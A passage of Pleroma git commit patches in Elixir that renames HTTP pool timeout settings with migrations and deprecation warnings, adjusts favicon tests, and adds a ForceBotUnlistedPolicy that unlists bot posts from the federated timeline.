Pleroma.Application.user_agent() <> "; Bot"}] - options = - if Application.get_env(:tesla, :adapter) == Tesla.Adapter.Hackney do - Keyword.merge(@rich_media_options, - recv_timeout: 2_000, - with_body: true - ) - else - @rich_media_options - end - - Pleroma.HTTP.get(url, headers, adapter: options) + Pleroma.HTTP.get(url, headers, adapter: @options) end end -- cgit v1.2.3 From 8a3d43044a06488545490a89e29c8349d914f164 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Sat, 5 Sep 2020 12:41:01 +0300 Subject: migrations for renaming gun timeout options --- ...37_rename_await_up_timeout_in_connections_pool.exs | 13 +++++++++++++ .../20200905091427_rename_timeout_in_pools.exs | 19 +++++++++++++++++++ 2 files changed, 32 insertions(+) create mode 100644 priv/repo/migrations/20200905082737_rename_await_up_timeout_in_connections_pool.exs create mode 100644 priv/repo/migrations/20200905091427_rename_timeout_in_pools.exs diff --git a/priv/repo/migrations/20200905082737_rename_await_up_timeout_in_connections_pool.exs b/priv/repo/migrations/20200905082737_rename_await_up_timeout_in_connections_pool.exs new file mode 100644 index 000000000..22c40663c --- /dev/null +++ b/priv/repo/migrations/20200905082737_rename_await_up_timeout_in_connections_pool.exs @@ -0,0 +1,13 @@ +defmodule Pleroma.Repo.Migrations.RenameAwaitUpTimeoutInConnectionsPool do + use Ecto.Migration + + def change do + with %Pleroma.ConfigDB{} = config <- + Pleroma.ConfigDB.get_by_params(%{group: :pleroma, key: :connections_pool}), + {timeout, value} when is_integer(timeout) <- Keyword.pop(config.value, :await_up_timeout) do + config + |> Ecto.Changeset.change(value: Keyword.put(value, :connect_timeout, timeout)) + |> Pleroma.Repo.update() + end + end +end diff --git a/priv/repo/migrations/20200905091427_rename_timeout_in_pools.exs b/priv/repo/migrations/20200905091427_rename_timeout_in_pools.exs new file mode 100644 index 000000000..bb2f50ecc --- /dev/null +++ b/priv/repo/migrations/20200905091427_rename_timeout_in_pools.exs @@ -0,0 +1,19 @@ +defmodule Pleroma.Repo.Migrations.RenameTimeoutInPools do + use Ecto.Migration + + def change do + with %Pleroma.ConfigDB{} = config <- + Pleroma.ConfigDB.get_by_params(%{group: :pleroma, key: :pools}) do + updated_value = + Enum.map(config.value, fn {pool, pool_value} -> + with {timeout, value} when is_integer(timeout) <- Keyword.pop(pool_value, :timeout) do + {pool, Keyword.put(value, :recv_timeout, timeout)} + end + end) + + config + |> Ecto.Changeset.change(value: updated_value) + |> Pleroma.Repo.update() + end + end +end -- cgit v1.2.3 From 696bf09433aa7f33cf580c71cb7f1f3367d4c124 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Mon, 7 Sep 2020 16:57:42 +0300 Subject: passing adapter options directly without adapter key --- config/test.exs | 2 +- lib/mix/tasks/pleroma/benchmark.ex | 11 +++--- lib/mix/tasks/pleroma/frontend.ex | 2 +- lib/pleroma/http/ex_aws.ex | 2 +- lib/pleroma/http/http.ex | 2 +- lib/pleroma/http/tzdata.ex | 4 +-- .../activity_pub/mrf/media_proxy_warming_policy.ex | 2 +- lib/pleroma/web/rel_me.ex | 2 +- lib/pleroma/web/rich_media/helpers.ex | 2 +- test/web/instances/instance_test.exs | 2 ++ test/web/mastodon_api/views/account_view_test.exs | 40 ++++++++++++---------- 11 files changed, 36 insertions(+), 35 deletions(-) diff --git a/config/test.exs b/config/test.exs index f0358e384..e9c2273e8 100644 --- a/config/test.exs +++ b/config/test.exs @@ -114,7 +114,7 @@ config :pleroma, Pleroma.Web.ApiSpec.CastAndValidate, strict: true -config :pleroma, :instances_favicons, enabled: true +config :pleroma, :instances_favicons, enabled: false config :pleroma, Pleroma.Uploaders.S3, bucket: nil, diff --git a/lib/mix/tasks/pleroma/benchmark.ex b/lib/mix/tasks/pleroma/benchmark.ex index dd2b9c8f2..a607d5d4f 100644 --- a/lib/mix/tasks/pleroma/benchmark.ex +++ b/lib/mix/tasks/pleroma/benchmark.ex @@ -91,20 +91,17 @@ def run(["adapters"]) do "Without conn and without pool" => fn -> {:ok, %Tesla.Env{}} = Pleroma.HTTP.get("https://httpbin.org/stream-bytes/1500", [], - adapter: [pool: :no_pool, receive_conn: false] + pool: :no_pool, + receive_conn: false ) end, "Without conn and with pool" => fn -> {:ok, %Tesla.Env{}} = - Pleroma.HTTP.get("https://httpbin.org/stream-bytes/1500", [], - adapter: [receive_conn: false] - ) + Pleroma.HTTP.get("https://httpbin.org/stream-bytes/1500", [], receive_conn: false) end, "With reused conn and without pool" => fn -> {:ok, %Tesla.Env{}} = - Pleroma.HTTP.get("https://httpbin.org/stream-bytes/1500", [], - adapter: [pool: :no_pool] - ) + Pleroma.HTTP.get("https://httpbin.org/stream-bytes/1500", [], pool: :no_pool) end, "With reused conn and with pool" => fn -> {:ok, %Tesla.Env{}} = Pleroma.HTTP.get("https://httpbin.org/stream-bytes/1500") diff --git a/lib/mix/tasks/pleroma/frontend.ex b/lib/mix/tasks/pleroma/frontend.ex index 73df67439..cbce81ab9 100644 --- a/lib/mix/tasks/pleroma/frontend.ex +++ b/lib/mix/tasks/pleroma/frontend.ex @@ -124,7 +124,7 @@ defp download_build(frontend_info, dest) do url = String.replace(frontend_info["build_url"], "${ref}", frontend_info["ref"]) with {:ok, %{status: 200, body: zip_body}} <- - Pleroma.HTTP.get(url, [], adapter: [pool: :media, recv_timeout: 120_000]) do + Pleroma.HTTP.get(url, [], pool: :media, recv_timeout: 120_000) do unzip(zip_body, dest) else e -> {:error, e} diff --git a/lib/pleroma/http/ex_aws.ex b/lib/pleroma/http/ex_aws.ex index c3f335c73..5cac3532f 100644 --- a/lib/pleroma/http/ex_aws.ex +++ b/lib/pleroma/http/ex_aws.ex @@ -11,7 +11,7 @@ defmodule Pleroma.HTTP.ExAws do @impl true def request(method, url, body \\ "", headers \\ [], http_opts \\ []) do - http_opts = Keyword.put_new(http_opts, :adapter, pool: :upload) + http_opts = Keyword.put_new(http_opts, :pool, :upload) case HTTP.request(method, url, body, headers, http_opts) do {:ok, env} -> diff --git a/lib/pleroma/http/http.ex b/lib/pleroma/http/http.ex index 7bc73f4a0..052597191 100644 --- a/lib/pleroma/http/http.ex +++ b/lib/pleroma/http/http.ex @@ -60,7 +60,7 @@ def post(url, body, headers \\ [], options \\ []), {:ok, Env.t()} | {:error, any()} def request(method, url, body, headers, options) when is_binary(url) do uri = URI.parse(url) - adapter_opts = AdapterHelper.options(uri, options[:adapter] || []) + adapter_opts = AdapterHelper.options(uri, options || []) options = put_in(options[:adapter], adapter_opts) params = options[:params] || [] diff --git a/lib/pleroma/http/tzdata.ex b/lib/pleroma/http/tzdata.ex index 4539ac359..09cfdadf7 100644 --- a/lib/pleroma/http/tzdata.ex +++ b/lib/pleroma/http/tzdata.ex @@ -11,7 +11,7 @@ defmodule Pleroma.HTTP.Tzdata do @impl true def get(url, headers, options) do - options = Keyword.put_new(options, :adapter, pool: :default) + options = Keyword.put_new(options, :pool, :default) with {:ok, %Tesla.Env{} = env} <- HTTP.get(url, headers, options) do {:ok, {env.status, env.headers, env.body}} @@ -20,7 +20,7 @@ def get(url, headers, options) do @impl true def head(url, headers, options) do - options = Keyword.put_new(options, :adapter, pool: :default) + options = Keyword.put_new(options, :pool, :default) with {:ok, %Tesla.Env{} = env} <- HTTP.head(url, headers, options) do {:ok, {env.status, env.headers}} diff --git a/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex b/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex index a203405a0..98d595469 100644 --- a/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex +++ b/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex @@ -22,7 +22,7 @@ def perform(:prefetch, url) do url |> MediaProxy.url() - |> HTTP.get([], adapter: @options) + |> HTTP.get([], @options) end def perform(:preload, %{"object" => %{"attachment" => attachments}} = _message) do diff --git a/lib/pleroma/web/rel_me.ex b/lib/pleroma/web/rel_me.ex index 32bce3c1b..28f75b18d 100644 --- a/lib/pleroma/web/rel_me.ex +++ b/lib/pleroma/web/rel_me.ex @@ -25,7 +25,7 @@ def parse(_), do: {:error, "No URL provided"} defp parse_url(url) do with {:ok, %Tesla.Env{body: html, status: status}} when status in 200..299 <- - Pleroma.HTTP.get(url, [], adapter: @options), + Pleroma.HTTP.get(url, [], @options), {:ok, html_tree} <- Floki.parse_document(html), data <- Floki.attribute(html_tree, "link[rel~=me]", "href") ++ diff --git a/lib/pleroma/web/rich_media/helpers.ex b/lib/pleroma/web/rich_media/helpers.ex index 084a66466..bd7f03cbe 100644 --- a/lib/pleroma/web/rich_media/helpers.ex +++ b/lib/pleroma/web/rich_media/helpers.ex @@ -87,6 +87,6 @@ def perform(:fetch, %Activity{} = activity) do def rich_media_get(url) do headers = [{"user-agent", Pleroma.Application.user_agent() <> "; Bot"}] - Pleroma.HTTP.get(url, headers, adapter: @options) + Pleroma.HTTP.get(url, headers, @options) end end diff --git a/test/web/instances/instance_test.exs b/test/web/instances/instance_test.exs index dc6ace843..5d4efcebe 100644 --- a/test/web/instances/instance_test.exs +++ b/test/web/instances/instance_test.exs @@ -112,6 +112,8 @@ test "Scrapes favicon URLs" do end test "Returns nil on too long favicon URLs" do + clear_config([:instances_favicons, :enabled], true) + long_favicon_url = "https://Lorem.ipsum.dolor.sit.amet/consecteturadipiscingelit/Praesentpharetrapurusutaliquamtempus/Mauriseulaoreetarcu/atfacilisisorci/Nullamporttitor/nequesedfeugiatmollis/dolormagnaefficiturlorem/nonpretiumsapienorcieurisus/Nullamveleratsem/Maecenassedaccumsanexnam/favicon.png" diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs index 8f37efa3c..68a5d0091 100644 --- a/test/web/mastodon_api/views/account_view_test.exs +++ b/test/web/mastodon_api/views/account_view_test.exs @@ -5,7 +5,6 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do use Pleroma.DataCase - alias Pleroma.Config alias Pleroma.User alias Pleroma.UserRelationship alias Pleroma.Web.CommonAPI @@ -19,8 +18,6 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do :ok end - setup do: clear_config([:instances_favicons, :enabled]) - test "Represent a user account" do background_image = %{ "url" => [%{"href" => "https://example.com/images/asuka_hospital.png"}] @@ -78,8 +75,7 @@ test "Represent a user account" do pleroma: %{ ap_id: user.ap_id, background_image: "https://example.com/images/asuka_hospital.png", - favicon: - "https://shitposter.club/plugins/Qvitter/img/gnusocial-favicons/favicon-16x16.png", + favicon: nil, confirmation_pending: false, tags: [], is_admin: false, @@ -98,22 +94,29 @@ test "Represent a user account" do assert expected == AccountView.render("show.json", %{user: user, skip_visibility_check: true}) end - test "Favicon is nil when :instances_favicons is disabled" do - user = insert(:user) + describe "favicon" do + setup do + [user: insert(:user)] + end - Config.put([:instances_favicons, :enabled], true) + test "is parsed when :instance_favicons is enabled", %{user: user} do + clear_config([:instances_favicons, :enabled], true) - assert %{ - pleroma: %{ - favicon: - "https://shitposter.club/plugins/Qvitter/img/gnusocial-favicons/favicon-16x16.png" - } - } = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + assert %{ + pleroma: %{ + favicon: + "https://shitposter.club/plugins/Qvitter/img/gnusocial-favicons/favicon-16x16.png" + } + } = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + end - Config.put([:instances_favicons, :enabled], false) + test "is nil when :instances_favicons is disabled", %{user: user} do + assert %{pleroma: %{favicon: nil}} = + AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + end + end - assert %{pleroma: %{favicon: nil}} = - AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + test "Favicon when :instance_favicons is enabled" do end test "Represent the user account for the account owner" do @@ -173,8 +176,7 @@ test "Represent a Service(bot) account" do pleroma: %{ ap_id: user.ap_id, background_image: nil, - favicon: - "https://shitposter.club/plugins/Qvitter/img/gnusocial-favicons/favicon-16x16.png", + favicon: nil, confirmation_pending: false, tags: [], is_admin: false, -- cgit v1.2.3 From 18d21aed00dcbdaabd7db25b8b7d0c88141ec98a Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Mon, 7 Sep 2020 19:04:16 +0300 Subject: deprecation warnings --- lib/pleroma/config/deprecation_warnings.ex | 43 ++++++++++++++++++++++ test/config/deprecation_warnings_test.exs | 59 +++++++++++++++++++++++++++--- 2 files changed, 96 insertions(+), 6 deletions(-) diff --git a/lib/pleroma/config/deprecation_warnings.ex b/lib/pleroma/config/deprecation_warnings.ex index 0f52eb210..2bfe4ddba 100644 --- a/lib/pleroma/config/deprecation_warnings.ex +++ b/lib/pleroma/config/deprecation_warnings.ex @@ -56,6 +56,7 @@ def warn do check_old_mrf_config() check_media_proxy_whitelist_config() check_welcome_message_config() + check_gun_pool_options() end def check_welcome_message_config do @@ -115,4 +116,46 @@ def check_media_proxy_whitelist_config do """) end end + + def check_gun_pool_options do + pool_config = Config.get(:connections_pool) + + if timeout = pool_config[:await_up_timeout] do + Logger.warn(""" + !!!DEPRECATION WARNING!!! + Your config is using old setting name `await_up_timeout` instead of `connect_timeout`. Setting should work for now, but you are advised to change format to scheme with port to prevent possible issues later. + """) + + Config.put(:connections_pool, Keyword.put_new(pool_config, :connect_timeout, timeout)) + end + + pools_configs = Config.get(:pools) + + warning_preface = """ + !!!DEPRECATION WARNING!!! + Your config is using old setting name `timeout` instead of `recv_timeout` in pool settings. Setting should work for now, but you are advised to change format to scheme with port to prevent possible issues later. + """ + + updated_config = + Enum.reduce(pools_configs, [], fn {pool_name, config}, acc -> + if timeout = config[:timeout] do + Keyword.put(acc, pool_name, Keyword.put_new(config, :recv_timeout, timeout)) + else + acc + end + end) + + if updated_config != [] do + pool_warnings = + updated_config + |> Keyword.keys() + |> Enum.map(fn pool_name -> + "\n* `:timeout` options in #{pool_name} pool is now `:recv_timeout`" + end) + + Logger.warn(Enum.join([warning_preface | pool_warnings])) + + Config.put(:pools, updated_config) + end + end end diff --git a/test/config/deprecation_warnings_test.exs b/test/config/deprecation_warnings_test.exs index 555661a71..e22052404 100644 --- a/test/config/deprecation_warnings_test.exs +++ b/test/config/deprecation_warnings_test.exs @@ -4,12 +4,15 @@ defmodule Pleroma.Config.DeprecationWarningsTest do import ExUnit.CaptureLog + alias Pleroma.Config + alias Pleroma.Config.DeprecationWarnings + test "check_old_mrf_config/0" do clear_config([:instance, :rewrite_policy], Pleroma.Web.ActivityPub.MRF.NoOpPolicy) clear_config([:instance, :mrf_transparency], true) clear_config([:instance, :mrf_transparency_exclusions], []) - assert capture_log(fn -> Pleroma.Config.DeprecationWarnings.check_old_mrf_config() end) =~ + assert capture_log(fn -> DeprecationWarnings.check_old_mrf_config() end) =~ """ !!!DEPRECATION WARNING!!! Your config is using old namespaces for MRF configuration. They should work for now, but you are advised to change to new namespaces to prevent possible issues later: @@ -44,22 +47,66 @@ test "move_namespace_and_warn/2" do ] assert capture_log(fn -> - Pleroma.Config.DeprecationWarnings.move_namespace_and_warn( + DeprecationWarnings.move_namespace_and_warn( config_map, "Warning preface" ) end) =~ "Warning preface\n error :key\n error :key2\n error :key3" - assert Pleroma.Config.get(new_group1) == 1 - assert Pleroma.Config.get(new_group2) == 2 - assert Pleroma.Config.get(new_group3) == 3 + assert Config.get(new_group1) == 1 + assert Config.get(new_group2) == 2 + assert Config.get(new_group3) == 3 end test "check_media_proxy_whitelist_config/0" do clear_config([:media_proxy, :whitelist], ["https://example.com", "example2.com"]) assert capture_log(fn -> - Pleroma.Config.DeprecationWarnings.check_media_proxy_whitelist_config() + DeprecationWarnings.check_media_proxy_whitelist_config() end) =~ "Your config is using old format (only domain) for MediaProxy whitelist option" end + + describe "check_gun_pool_options/0" do + test "await_up_timeout" do + config = Config.get(:connections_pool) + clear_config(:connections_pool, Keyword.put(config, :await_up_timeout, 5_000)) + + assert capture_log(fn -> + DeprecationWarnings.check_gun_pool_options() + end) =~ + "Your config is using old setting name `await_up_timeout` instead of `connect_timeout`" + end + + test "pool timeout" do + old_config = [ + federation: [ + size: 50, + max_waiting: 10, + timeout: 10_000 + ], + media: [ + size: 50, + max_waiting: 10, + timeout: 10_000 + ], + upload: [ + size: 25, + max_waiting: 5, + timeout: 15_000 + ], + default: [ + size: 10, + max_waiting: 2, + timeout: 5_000 + ] + ] + + clear_config(:pools, old_config) + + assert capture_log(fn -> + DeprecationWarnings.check_gun_pool_options() + end) =~ + "Your config is using old setting name `timeout` instead of `recv_timeout` in pool settings" + end + end end -- cgit v1.2.3 From 7ad1732ed2444d4d7bb1a89e66d46e5d52536e0f Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Mon, 7 Sep 2020 19:55:14 +0300 Subject: changelog entry --- CHANGELOG.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 46f1e859b..f303e22a7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,11 +5,14 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ## Unreleased +### Changed + +- Settings renaming: `:await_up_timeout` in `:connections_pool` namespace to `connect_timeout`, `timeout` in `pools` namespace to `recv_timeout`. + ### Removed - **Breaking:** Removed `Pleroma.Workers.Cron.StatsWorker` setting from Oban `:crontab`. - ## unreleased-patch - ??? ### Added @@ -25,7 +28,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Mastodon API: Cards being wrong for preview statuses due to cache key collision - Password resets no longer processed for deactivated accounts - ## [2.1.0] - 2020-08-28 ### Changed -- cgit v1.2.3 From 699224a900d54b6d32e0bd3f2abd9eccc523df11 Mon Sep 17 00:00:00 2001 From: Alibek Omarov <a1ba.omarov@gmail.com> Date: Mon, 7 Sep 2020 22:14:40 +0200 Subject: ForceBotUnlistedPolicy: initial add, tiny clean up from my previous version --- .../activity_pub/mrf/force_bot_unlisted_policy.ex | 61 ++++++++++++++++++++++ 1 file changed, 61 insertions(+) create mode 100644 lib/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy.ex diff --git a/lib/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy.ex b/lib/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy.ex new file mode 100644 index 000000000..31fd90586 --- /dev/null +++ b/lib/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy.ex @@ -0,0 +1,61 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy do + alias Pleroma.User + @behaviour Pleroma.Web.ActivityPub.MRF + @moduledoc "Remove bot posts from federated timeline" + + require Pleroma.Constants + + defp check_by_actor_type(user) do + if user.actor_type in ["Application", "Service"], do: 1.0, else: 0.0 + end + + defp check_by_nickname(user) do + if Regex.match?(~r/bot@|ebooks@/i, user.nickname), do: 1.0, else: 0.0 + end + + defp botness_score(user), do: check_by_actor_type(user) + check_by_nickname(user) + + @impl true + def filter( + %{ + "type" => "Create", + "to" => to, + "cc" => cc, + "actor" => actor, + "object" => object + } = message + ) do + user = User.get_cached_by_ap_id(actor) + isbot = 0.8 < botness_score(user) + + if isbot and Enum.member?(to, Pleroma.Constants.as_public()) do + to = List.delete(to, Pleroma.Constants.as_public()) ++ [user.follower_address] + cc = List.delete(cc, user.follower_address) ++ [Pleroma.Constants.as_public()] + + object = + object + |> Map.put("to", to) + |> Map.put("cc", cc) + + message = + message + |> Map.put("to", to) + |> Map.put("cc", cc) + |> Map.put("object", object) + + {:ok, message} + else + {:ok, message} + end + end + + @impl true + def filter(message), do: {:ok, message} + + @impl true + def describe, do: {:ok, %{}} +end -- cgit v1.2.3 From 57cf0cc3b3029cb0ff017c53e2602ad945b8d9b3 Mon Sep 17 00:00:00 2001 From: Alibek Omarov <a1ba.omarov@gmail.com> Date: Mon, 7 Sep 2020 22:50:37 +0200 Subject: ForceBotUnlistedPolicy: add test --- .../mrf/force_bot_unlisted_policy_test.ex | 58 ++++++++++++++++++++++ 1 file changed, 58 insertions(+) create mode 100644 test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex diff --git a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex new file mode 100644 index 000000000..84e2a9024 --- /dev/null +++ b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex @@ -0,0 +1,58 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do + use Pleroma.DataCase + import Pleroma.Factory + + import Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy + + defp generate_messages(actor) do + {%{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{}, + "to" => [@public, "f"], + "cc" => [actor.follower_address, "d"] + }, %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, + "to" => ["f", actor.follower_address], + "cc" => ["d", @public] + }} + end + + test "removes from the federated timeline by nickname heuristics 1" do + actor = insert(:user, %{nickname: "annoying_ebooks@example.com"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by nickname heuristics 2" do + actor = insert(:user, %{nickname: "cirnonewsnetworkbot@meow.cat"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by actor type Application" do + actor = insert(:user, %{actor_type: "Application"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by actor type Service" do + actor = insert(:user, %{actor_type: "Service"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end +end -- cgit v1.2.3 From 8b695c3eeb6ee7a91fc5a8a4293fb3cb53212818 Mon Sep 17 00:00:00 2001 From: Alibek Omarov <a1ba.omarov@gmail.com> Date: Mon, 7 Sep 2020 22:53:45 +0200 Subject: ForceBotUnlistedPolicy: format --- .../activity_pub/mrf/force_bot_unlisted_policy.ex | 16 +++++++------- .../mrf/force_bot_unlisted_policy_test.ex | 25 +++++++++++----------- 2 files changed, 21 insertions(+), 20 deletions(-) diff --git a/lib/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy.ex b/lib/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy.ex index 31fd90586..7290f444b 100644 --- a/lib/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy.ex +++ b/lib/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy.ex @@ -21,14 +21,14 @@ defp botness_score(user), do: check_by_actor_type(user) + check_by_nickname(user @impl true def filter( - %{ - "type" => "Create", - "to" => to, - "cc" => cc, - "actor" => actor, - "object" => object - } = message - ) do + %{ + "type" => "Create", + "to" => to, + "cc" => cc, + "actor" => actor, + "object" => object + } = message + ) do user = User.get_cached_by_ap_id(actor) isbot = 0.8 < botness_score(user) diff --git a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex index 84e2a9024..6f001c233 100644 --- a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex +++ b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex @@ -10,18 +10,19 @@ defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do defp generate_messages(actor) do {%{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{}, - "to" => [@public, "f"], - "cc" => [actor.follower_address, "d"] - }, %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, - "to" => ["f", actor.follower_address], - "cc" => ["d", @public] - }} + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{}, + "to" => [@public, "f"], + "cc" => [actor.follower_address, "d"] + }, + %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, + "to" => ["f", actor.follower_address], + "cc" => ["d", @public] + }} end test "removes from the federated timeline by nickname heuristics 1" do -- cgit v1.2.3 From d2fd1d348122d8b0c3f4b0262cfc980afed83448 Mon Sep 17 00:00:00 2001 From: Alibek Omarov <a1ba.omarov@gmail.com> Date: Mon, 7 Sep 2020 23:04:07 +0200 Subject: ForceBotUnlistedPolicy: fix test extension --- .../mrf/force_bot_unlisted_policy_test.ex | 59 ---------------------- .../mrf/force_bot_unlisted_policy_test.exs | 59 ++++++++++++++++++++++ 2 files changed, 59 insertions(+), 59 deletions(-) delete mode 100644 test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex create mode 100644 test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs diff --git a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex deleted file mode 100644 index 6f001c233..000000000 --- a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex +++ /dev/null @@ -1,59 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do - use Pleroma.DataCase - import Pleroma.Factory - - import Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy - - defp generate_messages(actor) do - {%{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{}, - "to" => [@public, "f"], - "cc" => [actor.follower_address, "d"] - }, - %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, - "to" => ["f", actor.follower_address], - "cc" => ["d", @public] - }} - end - - test "removes from the federated timeline by nickname heuristics 1" do - actor = insert(:user, %{nickname: "annoying_ebooks@example.com"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end - - test "removes from the federated timeline by nickname heuristics 2" do - actor = insert(:user, %{nickname: "cirnonewsnetworkbot@meow.cat"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end - - test "removes from the federated timeline by actor type Application" do - actor = insert(:user, %{actor_type: "Application"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end - - test "removes from the federated timeline by actor type Service" do - actor = insert(:user, %{actor_type: "Service"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end -end diff --git a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs new file mode 100644 index 000000000..6f001c233 --- /dev/null +++ b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs @@ -0,0 +1,59 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do + use Pleroma.DataCase + import Pleroma.Factory + + import Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy + + defp generate_messages(actor) do + {%{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{}, + "to" => [@public, "f"], + "cc" => [actor.follower_address, "d"] + }, + %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, + "to" => ["f", actor.follower_address], + "cc" => ["d", @public] + }} + end + + test "removes from the federated timeline by nickname heuristics 1" do + actor = insert(:user, %{nickname: "annoying_ebooks@example.com"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by nickname heuristics 2" do + actor = insert(:user, %{nickname: "cirnonewsnetworkbot@meow.cat"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by actor type Application" do + actor = insert(:user, %{actor_type: "Application"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by actor type Service" do + actor = insert(:user, %{actor_type: "Service"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end +end -- cgit v1.2.3 From 0a25c92cfafce6af9ff9a40ac278dafac69e0c08 Mon Sep 17 00:00:00 2001 From: Alibek Omarov <a1ba.omarov@gmail.com> Date: Mon, 7 Sep 2020 23:18:36 +0200 Subject: ForceBotUnlistedPolicy: try to fix test --- test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs index 6f001c233..85ca95b0a 100644 --- a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs +++ b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs @@ -6,7 +6,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do use Pleroma.DataCase import Pleroma.Factory - import 